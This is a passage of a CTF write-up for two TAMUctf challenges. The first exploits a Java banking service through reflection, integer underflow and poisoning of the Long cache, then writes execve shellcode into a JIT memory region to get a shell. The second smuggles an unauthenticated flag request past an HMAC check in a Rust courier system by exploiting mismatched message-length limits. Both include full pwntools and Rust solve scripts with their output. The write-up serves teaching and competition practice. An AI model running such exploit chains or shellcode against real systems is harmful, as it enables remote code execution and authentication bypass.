        System.out.println("Welcome to the most secure banking system on the planet!\n");
        while (true) {
            System.out.println("\n1) Login");
            System.out.println("2) Manage funds");
            System.out.println("3) Upgrade user");
            System.out.println("4) Exit");
            System.out.println("\nEnter an option:");
            switch ((int)readLong(sc)) {
                case 1:
                    System.out.println("\nHere are the available banks and users:");
                    listUsers();
                    System.out.println("\nEnter your bank name:");
                    var bank = sc.nextLine();
                    var requestedZoomies = bank.equals("BlazinglyFastBank");
                    if (requestedZoomies && !canZoom) {
                        System.out.println("\nConsider becoming a regular customer to upgrade to our blazingly fast account system.\n");
                        break;
                    }
                    System.out.println("\nEnter your username:");
                    var name = sc.nextLine();
                    var tmp = load(bank, name);
                    if (tmp == null) {
                        System.out.println("\nInvalid account.");
                        break;
                    }
                    if (requestedZoomies) {
                        acc = new BlazinglyFastAccount(long[].class.cast(tmp));
                    } else {
                        acc = new RegularAccount(Long[].class.cast(tmp));
                    }
                    System.out.printf("\nSuccessfuly logged in with ID %d!\n", acc.hashCode());
                    break;
                case 2:
                    if (acc == null) {
                        System.out.println("\nYou need to login to an account first.");
                        break;
                    }
                    var exitInner = false;
                    while (!exitInner) {
                        System.out.println("\n1) Examine balance");
                        System.out.println("2) Withdraw funds");
                        System.out.println("3) Go back");
                        System.out.println("\nEnter an option:");
                        switch ((int)readLong(sc)) {
                            case 1:
                                System.out.println("\nEnter an account number (0-10):");
                                System.out.printf("\nYour balance is now $%d\n", acc.get(readLong(sc)));
                                break;
                            case 2:
                                System.out.println("\nEnter an account number (0-10):");
                                var withdrawIndex = readLong(sc);
                                System.out.println("\nEnter an amount to withdraw:");
                                var v = readLong(sc);
                                if (v >= 0) {
                                    acc.withdraw(withdrawIndex, v);
                                } else {
                                    System.out.println("\nYou can't withdraw negative money.");
                                }
                                break;
                            case 3:
                                exitInner = true;
                                break;
                            default:
                                System.out.println("\nInvalid option.");
                        }
                    }
                    break;
                case 3:
                    if (acc == null) {
                        System.out.println("\nYou need to login to an account first.");
                        break;
                    }
                    if (acc.sum() == Long.MAX_VALUE) {
                        canZoom = true;
                    } else {
                        System.out.println("\nDeposit more money to upgrade to our blazingly fast account system.\n");
                    }
                    break;
                case 4:
                    System.out.println("Bye!");
                    return;
                default:
                    System.out.println("\nInvalid option.");
            }
        }
    }
}

We can interact with this over the network. You can "log in" by providing a class name ("bank") and field name ("username"), which it will try to resolve using reflection. We can't access BlazinglyFastBank yet, but we can still log into RegularBank:

$ python solver-template.py 
[+] Opening connection to tamuctf.com on port 443: Done
[*] Switching to interactive mode
NOTE: Picked up JDK_JAVA_OPTIONS: -Xmx64M
Welcome to the most secure banking system on the planet!


1) Login
2) Manage funds
3) Upgrade user
4) Exit

Enter an option:
$ 1

Here are the available banks and users:

RegularBank
----------------------------
me
someoneElse
anotherStranger

BlazinglyFastBank
----------------------------
me
notMe
notMeEither

Enter your bank name:
$ RegularBank

Enter your username:
$ me

Successfuly logged in with ID 2074407503!

1) Login
2) Manage funds
3) Upgrade user
4) Exit

Enter an option:
$

We can then withdraw money from our account - as much as we want, since it never checks our balance. In order to unlock "BlazinglyFastBank" (which we need for later), we need a sum (across all 10 accounts) of Long.MAX_VALUE, which we can reach by withdrawing 0x7fffffffffffffff and then 2, underflowing the sum to land on Long.MAX_VALUE. I'll script this:

from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="macchiato")
p.sendline(b"1") # Login
p.sendline(b"RegularBank")
p.sendline(b"me")

p.sendline(b"2") # Manage funds

p.sendline(b"2") # Withdraw funds
p.sendline(b"0") # from account 0
p.sendline(str(0x7fffffffffffffff).encode())

p.sendline(b"2") # Withdraw funds
p.sendline(b"1") # from account 1
p.sendline(b"2")

p.sendline(b"3") # Go back

# (-0x7fffffffffffffff - 2) & 0xffffffffffffffff = 0x7fffffffffffffff :)
p.sendline(b"3") # Upgrade user

# We can now log in
p.sendline(b"1") # Login
p.sendline(b"BlazinglyFastBank")
p.sendline(b"me")
p.interactive()

Now we have a BlazinglyFastAccount! Which... doesn't let us do anything funny:

/// zoomies
import sun.misc.Unsafe;

public class BlazinglyFastAccount extends Account {
    static Unsafe u = (Unsafe)Challenge.load(Unsafe.class, "theUnsafe");
    long[] arr; 
    private boolean checkBounds(Long index) {
        var geMin = index.compareTo(0L) >= 0;
        var ltMax = index.compareTo(10L) < 0;
        return geMin && ltMax;
    }
    public BlazinglyFastAccount(long[] arr) {
        this.arr = arr;
    }
    public Long get(Long index) {
        var base = u.arrayBaseOffset(long[].class);
        return checkBounds(index) ? u.getLong(this.arr, base + index * 8) : 0;
    }
    public void set(Long index, Long value) {
        if (checkBounds(index)) {
            var base = u.arrayBaseOffset(long[].class);
            u.putLong(this.arr, base + index * 8, value);
        }
    }
}

While it uses unsafe access to the backing array, it properly bounds checks them, so we can't read or write out of bounds. Right now, this is just a normal array implemented in a weird way.

Now, is there anything else we can do? We can read and write to arbitrary static Long[]s anywhere in the Java standard library just by passing those as the bank/username. There aren't very many of those (I checked), but I did find this one, in Long.java:

// public final class Long extends Number implements Comparable<Long> {
    private static class LongCache {
        private LongCache(){}

        static final Long cache[] = new Long[-(-128) + 127 + 1];

        static {
            for(int i = 0; i < cache.length; i++)
                cache[i] = new Long(i - 128);
        }
    }

Java caches instances of java.lang.Long (boxed longs) for values between -128 and 127 for performance reasons. You're definitely not supposed to write to this array, as it would effectively turn some Longs into other Longs, and that would be very bad indeed. But there's nothing stopping us from doing it, so what can we do with this?

Well, let's take another look at the checkBounds function of BlazinglyFastAccount:

    private boolean checkBounds(Long index) {
        var geMin = index.compareTo(0L) >= 0;
        var ltMax = index.compareTo(10L) < 0;
        return geMin && ltMax;
    }

That's a weird way to do comparisons, isn't it? Why would this function take a boxed Long? Why would it call Long.compareTo? I mean, obviously it's so there's a solution to the challenge.

Since the other parameter to compareTo is also a Long (with values 0 and 10, respectively), these will come from the Long cache. So, if we poisoned that, we can turn 0 into some really small number, and 10 into some really big number, and thus bypass the bounds check entirely!

Let's put that into the solve script, along with some helpers:

from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="macchiato")

def read_balance(account):
    p.sendline(b"1") # Examine balance
    p.sendline(str(account).encode())
    p.recvuntil(b"Your balance is now $")
    return int(p.recvline())

def subtract_balance(account, to_withdraw):
    p.sendline(b"2") # Withdraw funds
    p.sendline(str(account).encode())
    p.sendline(str(to_withdraw).encode())

p.sendline(b"1") # Login
p.sendline(b"RegularBank")
p.sendline(b"me")

p.sendline(b"2") # Manage funds
subtract_balance(0, 0x7fffffffffffffff)
subtract_balance(0, 2)
p.sendline(b"3") # Go back

p.sendline(b"3") # Upgrade user

# We can now log in as BlazinglyFastBank, but first...
p.sendline(b"1") # Login
p.sendline(b"java.lang.Long$LongCache")
p.sendline(b"cache")
p.sendline(b"2") # Manage funds

# let's make cache[128] (0L) really small
subtract_balance(128 + 0, 0x7fffffffffffffff)

# and let's make cache[138] (10L) really big (by underflowing like we did above)
subtract_balance(128 + 10, 0x7fffffffffffffff)
subtract_balance(128 + 10, 2 + 10) # the old value was "10" so we need to subtract that too

p.sendline(b"3") # Go back
p.sendline(b"1") # Login
p.sendline(b"BlazinglyFastBank")
p.sendline(b"me")

p.sendline(b"2") # Manage funds

At this point, we have full memory read/writes relative to BlazinglyFastBank.me:

$ python -i solver-template.py 
[+] Opening connection to tamuctf.com on port 443: Done
>>> hex(read_balance(-3))
'0x656d'
>>> hex(read_balance(-2))
'0x1'
>>> hex(read_balance(-1))
'0xa00079e93'

And we can do anything we want, including segfaulting the JVM:

>>> subtract_balance(0xdeadbeef, 0xdeadbeef)
>>> p.interactive()
[*] Switching to interactive mode

1) Examine balance
2) Withdraw funds
3) Go back

Enter an option:

Enter an account number (0-10):

Enter an amount to withdraw:
#
# A fatal error has been detected by the Java Runtime Environment:
#
#  SIGSEGV (0xb) at pc=0x00007f14a7eea899, pid=192, tid=193
#
# JRE version: OpenJDK Runtime Environment 18.9 (11.0.16+8) (build 11.0.16+8)
# Java VM: OpenJDK 64-Bit Server VM 18.9 (11.0.16+8, mixed mode, sharing, tiered, compressed oops, serial gc, linux-amd64)
# Problematic frame:
# V  [libjvm.so+0xd60899]  Unsafe_GetLong+0x59
#
# Core dump will be written. Default location: Core dumps may be processed with "/usr/lib/systemd/systemd-coredump %P %u %g %s %t %c %h" (or dumping to /pwn/core.192)
#
# Can not save log file, dump to screen..
#
# A fatal error has been detected by the Java Runtime Environment:
#
#  SIGSEGV (0xb) at pc=0x00007f14a7eea899, pid=192, tid=193
#
# JRE version: OpenJDK Runtime Environment 18.9 (11.0.16+8) (build 11.0.16+8)
# Java VM: OpenJDK 64-Bit Server VM 18.9 (11.0.16+8, mixed mode, sharing, tiered, compressed oops, serial gc, linux-amd64)
# Problematic frame:
# V  [libjvm.so+0xd60899]  Unsafe_GetLong+0x59
#
# Core dump will be written. Default location: Core dumps may be processed with "/usr/lib/systemd/systemd-coredump %P %u %g %s %t %c %h" (or dumping to /pwn/core.192)
#
# If you would like to submit a bug report, please visit:
#   https://bugreport.java.com/bugreport/crash.jsp
#

---------------  S U M M A R Y ------------

Command Line: -Xmx64M Challenge

Host: Intel(R) Xeon(R) CPU E7-4850 v2 @ 2.30GHz, 20 cores, 128M, Debian GNU/Linux 10 (buster)
Time: Sun Apr 30 16:36:54 2023 UTC elapsed time: 52.095957 seconds (0d 0h 0m 52s)

---------------  T H R E A D  ---------------

Current thread (0x00007f14a0026800):  JavaThread "main" [_thread_in_vm, id=193, stack(0x00007f14a6f06000,0x00007f14a7007000)]

Stack: [0x00007f14a6f06000,0x00007f14a7007000],  sp=0x00007f14a7005720,  free space=1021k
Native frames: (J=compiled Java code, A=aot compiled Java code, j=interpreted, Vv=VM code, C=native code)
V  [libjvm.so+0xd60899]  Unsafe_GetLong+0x59
j  jdk.internal.misc.Unsafe.getLong(Ljava/lang/Object;J)J+0 java.base@11.0.16
j  sun.misc.Unsafe.getLong(Ljava/lang/Object;J)J+5 jdk.unsupported@11.0.16
j  BlazinglyFastAccount.get(Ljava/lang/Long;)Ljava/lang/Long;+35
j  Account.withdraw(Ljava/lang/Long;Ljava/lang/Long;)V+4
j  Challenge.main([Ljava/lang/String;)V+432
v  ~StubRoutines::call_stub
V  [libjvm.so+0x85ae93]  JavaCalls::call_helper(JavaValue*, methodHandle const&, JavaCallArguments*, Thread*)+0x313
V  [libjvm.so+0x8d426c]  jni_invoke_static(JNIEnv_*, JavaValue*, _jobject*, JNICallType, _jmethodID*, JNI_ArgumentPusher*, Thread*) [clone .isra.78] [clone .constprop.332]+0x1dc  
V  [libjvm.so+0x8d65d6]  jni_CallStaticVoidMethod+0x156
C  [libjli.so+0x48f1]  JavaMain+0xd11
C  [libjli.so+0x8909]  ThreadJavaMain+0x9

Java frames: (J=compiled Java code, j=interpreted, Vv=VM code)
j  jdk.internal.misc.Unsafe.getLong(Ljava/lang/Object;J)J+0 java.base@11.0.16
j  sun.misc.Unsafe.getLong(Ljava/lang/Object;J)J+5 jdk.unsupported@11.0.16
j  BlazinglyFastAccount.get(Ljava/lang/Long;)Ljava/lang/Long;+35
j  Account.withdraw(Ljava/lang/Long;Ljava/lang/Long;)V+4
j  Challenge.main([Ljava/lang/String;)V+432
v  ~StubRoutines::call_stub

siginfo: si_signo: 11 (SIGSEGV), si_code: 1 (SEGV_MAPERR), si_addr: 
[...and more...]

The resulting JVM error log is massive, and gets us a lot of information about the environment. For example, we can see that we tried to write to 0x7f1830c60. Since we used the account 0xdeadbeef, this means that our array's base address is 0x7f183bd60 - (0xdeadbeef * 8), or 0xfc15c5e8. This address isn't entirely consistent, but seems to hit around there every time.

We also get a map of the virtual memory:

Dynamic libraries:
fc000000-fc2a0000 rw-p 00000000 00:00 0
fc2a0000-fd550000 ---p 00000000 00:00 0
fd550000-fdab0000 rw-p 00000000 00:00 0
fdab0000-100000000 ---p 00000000 00:00 0
800000000-800002000 rwxp 00001000 08:04 10598998                         /usr/local/openjdk-11/lib/server/classes.jsa
800002000-8003d1000 rw-p 00003000 08:04 10598998                         /usr/local/openjdk-11/lib/server/classes.jsa
8003d1000-800aa8000 r--p 003d2000 08:04 10598998                         /usr/local/openjdk-11/lib/server/classes.jsa

At this point I spent an almost unreasonable amount of time trying to get this to do anything useful. With enough trickery, I was able to find other objects on the heap by their identityHashCode value in the object header, bump their klass pointers to offset their vtable, and the likes - but none of this actually got me anywhere near managed code execution. I was thinking if I messed enough with the object headers, I could transmute some values into a Runtime.exec call or a FileReader or the likes. After 12+ hours of messing around, I eventually gave up for the night.

And at this point, Myldero swooped in with a "what if you just write asm to the JIT regions". There's a rwx region at 0x80000000 right there. I'm a fucking idiot. Anyway.

# [...rest of solve-template.py from earlier]

def set_value(account, value):
    curr = read_balance(account)
    if curr < value:
        curr += 1<<64

    while curr > value:
        t = min(curr-value, (1<<63)-1)
        curr -= t
        subtract_balance(account, t)

BASE = 0xfc15c500
GOAL = 0x800000100

off = (GOAL-BASE) // 8

# payload = asm(shellcode.amd64.sh())
payload = bytes.fromhex("6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05")
nop = u64(b"\x90"*8)

print("writing asm...")
for i in range(0, len(payload), 8):
    print(hex(BASE + off*8 + i), hex(read_balance(off + i//8)))
    set_value(off + i//8, u64(payload[i:i+8]))

print("writing nops...")
while True:
    off -= 1
    print("writing nop at", hex(BASE + off*8))
    try:
        set_value(off, nop)
    except:
        break

p.interactive()

We write our shellcode to 0x800000100, and then fill the preceding space with a nop slide, and hope for the best. Eventually, in the middle of writing the nops, the JIT will jump to our shellcode, and leave our code hanging indefinitely. When this happens, we can hit Ctrl-C to break out of the loop, and we have shell:

$ python solver-template.py 
[+] Opening connection to tamuctf.com on port 443: Done
writing asm...
0x800000100 0xe2ff410000
0x800000108 0x7fb18c820500ba49
0x800000110 0xe2ff410000
0x800000118 0x7fb18c8204c0ba49
0x800000120 0xe2ff410000
0x800000128 0x7fb18c81f640ba49
writing nops...
writing nop at 0x8000000f8
writing nop at 0x8000000f0
writing nop at 0x8000000e8
writing nop at 0x8000000e0
writing nop at 0x8000000d8
writing nop at 0x8000000d0
writing nop at 0x8000000c8
writing nop at 0x8000000c0
writing nop at 0x8000000b8
writing nop at 0x8000000b0
writing nop at 0x8000000a8
writing nop at 0x8000000a0
writing nop at 0x800000098
writing nop at 0x800000090
writing nop at 0x800000088
writing nop at 0x800000080
writing nop at 0x800000078
writing nop at 0x800000070
writing nop at 0x800000068
writing nop at 0x800000060
writing nop at 0x800000058
writing nop at 0x800000050
writing nop at 0x800000048
writing nop at 0x800000040
writing nop at 0x800000038
writing nop at 0x800000030
writing nop at 0x800000028
writing nop at 0x800000020
writing nop at 0x800000018
[*] Switching to interactive mode
$ ls
Account.class
Account.java
BlazinglyFastAccount.class
BlazinglyFastAccount.java
BlazinglyFastBank.class
BlazinglyFastBank.java
Challenge.class
Challenge.java
RegularAccount.class
RegularAccount.java
RegularBank.class
RegularBank.java
docker_entrypoint.sh
flag.txt
$ cat flag.txt
gigem{i_sur3_h0p3_n0b0dy_pwn5_th0s3_3_billi0n_d3v1c3s}

This solve is pretty inconsistent as we have to "guess right" for the array base address, but it works... some of the time, and that's good enough for a flag.

Courier

Most of this one's solve was by shalaamum, I just swooped in near the end to help debug the Rust parts of it, and that's why this writeup isn't as detailed as the others. So, credit to them for actually developing the exploit. For a much more detailed writeup, see this one, from yarm.

Special delivery! This device emulates a delivery system, but we don't have the ability to connect to the stamping device. Can you trick the target into leaking the flag?

Connections to the SNI courier will connect you to the UART of the device. You can test with the provided files (just install Rust with the thumbv7m-none-eabi target). We've provided the sender/ implementation as a reference.

This challenge contains two binaries, consignee and courier. We connect to the courier and pass messages back and forth to consignee.

The messages are all Postcard-serialized, and the definitions look like this:

#[derive(Debug, Deserialize, Serialize)]
pub enum UnstampedPackage {
    HailstoneRequest(u16),
}

#[derive(Debug, Deserialize, Serialize)]
pub enum StampRequiredPackage {
    WeddingInvitation {
        when: u64,
        marrying_parties: Vec<String>,
        details: Vec<u8>,
    },
    FlagRequest,
}

#[derive(Debug, Deserialize, Serialize)]
pub enum ResponsePackage {
    HailstoneResponse(u16),
    WeddingResponse(String),
    FlagResponse(String),
}

#[derive(Debug, Deserialize, Serialize)]
pub enum CourieredPackage {
    Unstamped(UnstampedPackage),
    Stamped(StampedPackage),
    Response(ResponsePackage),
}

#[derive(Debug, Deserialize, Serialize)]
pub struct StampedPackage {
    pub ctr: u64,
    pub hmac: [u8; 32],
    pub stamped_payload: Vec<u8>,
}

The courier will pass along messages directly (stamped or unstamped), and will verify the HMAC of stamped messages:

fn send_msg_consignee(
    cx: send_msg_consignee::Context,
    (prev_buf, msg): (Vec<u8>, CourieredPackage),
) {
    match &msg {
        CourieredPackage::Unstamped(_) => {}
        CourieredPackage::Stamped(stamped) => {
            let stamp_ctr = cx.local.stamp_ctr;
            match check_stamp(stamp_ctr, STAMP_KEY, stamped) {
                Ok(_) => {}
                Err(e) => {
                    #[cfg(feature = "debug")]
                    heprintln!("stamp check failed: {:?}", e);
                    return; // we received an invalid stamp/message
                }
            }
        }
        msg => {
            #[cfg(feature = "debug")]
            heprintln!("bad delivery request detected: {:?}", msg);
            return;
        }
    };

The control flow here is relatively complex, but the code responsible for parsing the incoming message is this:

while uart.rx_avail() {
    let Ok(b) = uart.readb() else { return; };
    rx_buf.push(b);
    match try_read_msg::<_, { 1 << 12 }, false>(rx_buf) {
        Err(ReadMsgError::NotYetDone) => {}
        Ok(msg) => {
            let mut prev_buf = Vec::new();
            swap(rx_buf, &mut prev_buf);
            if let Err(msg) = send_msg_consignee::spawn((prev_buf, msg)) {
                *next_msg = Some(msg);
                return;
            }
        }
        Err(e) => {
            #[cfg(feature = "debug")]
            heprintln!("error while processing: {:?}", e);
        }
    }
}

Effectively, it reads into a buffer byte by byte and repeatedly tries to deserialize it until it gets a valid message. Messages start with a magic number (b"COURIERM"), then two bytes of length, then the Postcard-encoded payload:

pub fn try_read_msg<M: for<'a> Deserialize<'a>, const MAX_SIZE: u16, const CLEAR_ON_DESER: bool>(
    buf: &mut Vec<u8>,
) -> Result<M, ReadMsgError> {
    if buf.len() >= MSG_MAGIC.len() + core::mem::size_of::<u16>() {
        let mut len_buf = [0u8; core::mem::size_of::<u16>()];
        buf.iter()
            .copied()
            .skip(MSG_MAGIC.len())
            .take(core::mem::size_of::<u16>())
            .zip(&mut len_buf)
            .for_each(|(b, e)| *e = b);
        let msg_len = u16::from_be_bytes(len_buf);
        if msg_len > MAX_SIZE {
            buf.clear();
            return Err(ReadMsgError::MessageTooLong);
        }

        if buf.len() == MSG_MAGIC.len() + core::mem::size_of::<u16>() + msg_len as usize {
            let value =
                postcard::from_bytes(&buf[(MSG_MAGIC.len() + core::mem::size_of::<u16>())..])?;
            if CLEAR_ON_DESER {
                buf.clear();
            }
            return Ok(value);
        }
    } else if buf.len() <= MSG_MAGIC.len() {
        if let Some(last) = buf.last().copied() {
            if last != MSG_MAGIC[buf.len() - 1] {
                buf.clear();
                buf.push(last); // we might actually be handling the next valid input!
            }
        }
    }

    Err(ReadMsgError::NotYetDone)
}

There's a lot of very similar code in consignee. The consignee will not validate the HMAC on stamped messages (assuming the courier has already done so). So, other than trying to crack the HMAC verification at a crypto level (which we weren't able to do), the approach seems to be to try to "sneak" an invalid message past the courier and let the consignee respond to it.

The courier validates a maximum length of 8192 bytes (1 << 12), and does try to deserialize it, but it never actually checks whether the length "makes sense" for the data it's receiving - it will simply throw away the deserialized message and pass the raw buffer along to the consignee. On the other hand, the consignee validates a maximum length of only 2048 bytes (1 << 10):

        while uart.rx_avail() {
            let Ok(b) = uart.readb() else { return; };
            rx_buf.push(b);
            // reduced size since we have to deserialise the signed packages
            match try_read_msg::<_, { 1 << 10 }, true>(rx_buf) {
                // ...

This mismatch means that if we generated, say, a 4096-byte message, the courier would pass it along to the consignee, and the consignee would then reject it. Since the try_read_msg function clears the buffer immediately after reading the length of a too-long message, and the buffer is read byte-by-byte, whatever data after the header would be parsed as a fresh message. And since the courier dutifully passed all the trailing data along after the "real" payload, we can include a stamped message in there, and thus bypass the HMAC check entirely.

Now, for various reasons, we could not get this to compile and run locally, so we were testing almost entirely blind. But if we built a request like this...

    // Generate valid unstamped message for courier
    let unstamped_message = courier_proto::into_msg(Unstamped(HailstoneRequest(1337)));

    // Generate (invalid) stamped message for consignee
    let flag_message = courier_proto::into_msg(Stamped(StampedPackage {
        ctr: 0,
        hmac: [0; 32],
        stamped_payload: postcard::to_allocvec(&StampRequiredPackage::FlagRequest).unwrap()
    }));

    // Concatenate the two
    let mut combined_message = Vec::new();
    combined_message.extend(unstamped_message);
    combined_message.extend(flag_message);

    // Overwrite length header to be 2<<11 bytes
    let payload_length = 0x800u16;
    combined_message[8..10].copy_from_slice(&payload_length.to_be_bytes());

    // Fill the rest of the request with zeroes
    combined_message.resize((payload_length + 10) as usize, 0);

Then, in theory, the packet should sneak by the courier, get rejected by the consignee as too long, and then have the inner body handled as a FlagRequest.

Let's package all of that into the sender script we were given, and let's see:

use courier_proto::messages::{StampRequiredPackage, StampedPackage};
use courier_proto::{
    messages::CourieredPackage::{self, Stamped, Unstamped},
    messages::UnstampedPackage::HailstoneRequest,
    read_msg,
};
use std::io::{BufReader, BufWriter, Write};
use std::net::TcpStream;

fn main() {
    let courier_write = TcpStream::connect("127.0.0.1:42069").unwrap();
    let courier_read = courier_write.try_clone().unwrap();

    let mut courier_write = BufWriter::new(courier_write);
    let mut courier_read = BufReader::new(courier_read);

    // Generate valid unstamped message for courier
    let unstamped_message = courier_proto::into_msg(Unstamped(HailstoneRequest(1337)));

    // Generate (invalid) stamped message for consignee
    let flag_message = courier_proto::into_msg(Stamped(StampedPackage {
        ctr: 0,
        hmac: [0; 32],
        stamped_payload: postcard::to_allocvec(&StampRequiredPackage::FlagRequest).unwrap()
    }));

    // Concatenate the two
    let mut combined_message = Vec::new();
    combined_message.extend(unstamped_message);
    combined_message.extend(flag_message);

    // Overwrite length header to be 2<<11 bytes
    let payload_length = 0x800u16;
    combined_message[8..10].copy_from_slice(&payload_length.to_be_bytes());

    // Fill the rest of the request with zeroes
    combined_message.resize((payload_length + 10) as usize, 0);

    println!("Sending flag request...");
    courier_write.write_all(&combined_message).unwrap();
    courier_write.flush().unwrap();

    println!("Waiting for response...");
  
    let resp: CourieredPackage = read_msg::<_, _, { u16::MAX }>(&mut courier_read).unwrap();
    println!("Got response: {:?}", resp);
}
$ socat -d -d TCP-LISTEN:42069,reuseaddr,fork EXEC:'openssl s_client -connect tamuctf.com\:443 -servername courier -quiet'
$ cargo +nightly-2023-04-27 run
    Finished dev [unoptimized + debuginfo] target(s) in 0.50s
     Running `/path/to/courier/target/debug/sender`
Sending flag request...
Waiting for response...
Got response: Response(FlagResponse("Oh, sure! Here you go: gigem{what_is_old_becomes_new_again}"))

Really, shalaamum figured out the exploit pretty quickly. Most of our time was spent failing to get a local dev setup running so we could debug our solve. Something about this challenge means it builds, but the resulting artifact doesn't always work, and we still haven't figured out why. The organizers ended up providing a prebuilt binary for us, but we still couldn't properly edit/recompile it for testing - which is unfortunate. Crate's just haunted, I guess.